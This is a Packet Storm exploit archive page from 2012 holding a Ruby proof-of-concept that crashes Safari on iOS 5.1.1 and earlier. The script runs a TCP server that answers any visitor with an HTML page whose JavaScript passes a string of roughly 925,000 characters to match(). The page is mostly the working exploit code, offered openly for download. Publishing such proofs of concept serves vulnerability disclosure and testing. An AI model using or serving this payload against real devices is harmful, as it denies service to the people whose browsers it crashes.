exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iOS 5.1.1 Safari Browser Denial Of Service

iOS 5.1.1 Safari Browser Denial Of Service
Posted May 26, 2012
Authored by Alberto Ortega

iOS versions 5.1.1 and below Safari Browser JS match(), search() crash proof of concept exploit.

tags | exploit, proof of concept
systems | cisco
SHA-256 | 88bf13ee6936fd4a41664c0ccb5fe91fdf90eb621dae78246483afea0a274ca3

iOS 5.1.1 Safari Browser Denial Of Service

Change Mirror Download
#!/usr/bin/env ruby

# - Title
# iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net

# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
<html>\n\
<head><title>Crash PoC</title></head>\n\
<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
s.match(\"#{chr*buffer_len}\");\n\
</script>\n\
</html>";

def help()
puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
op.on("-h", "--host HOST") do |p|
opts["host"] = p
end
op.on("-p", "--port PORT") do |p|
opts["port"] = p
end
op.on("-v", "--verbose") do |p|
opts["verbose"] = true
end
end

begin
optparser.parse!
rescue
help()
exit 1
end

if (opts.length == 0 || opts["port"] == nil)
help()
exit 1
end

if (opts["verbose"] != nil)
debug = true
else
debug = false
end
if (opts["host"] != nil)
host = opts["host"]
else
host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
serv = TCPServer.new(host, port)
puts "Listening on #{host}:#{port.to_s} ..."
rescue
puts "Error listening on #{host}:#{port.to_s}"
exit 1
end

begin
s = serv.accept()
if debug
puts "Client connected, waiting petition ..."
end
data = s.recv(1000)
if debug
puts "Sending crafted packet ..."
end
s.print(body)
if debug
puts "Closing connection ..."
end
s.close()
puts "Done!"
rescue
puts "Error sending data"
exit 1
end

Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close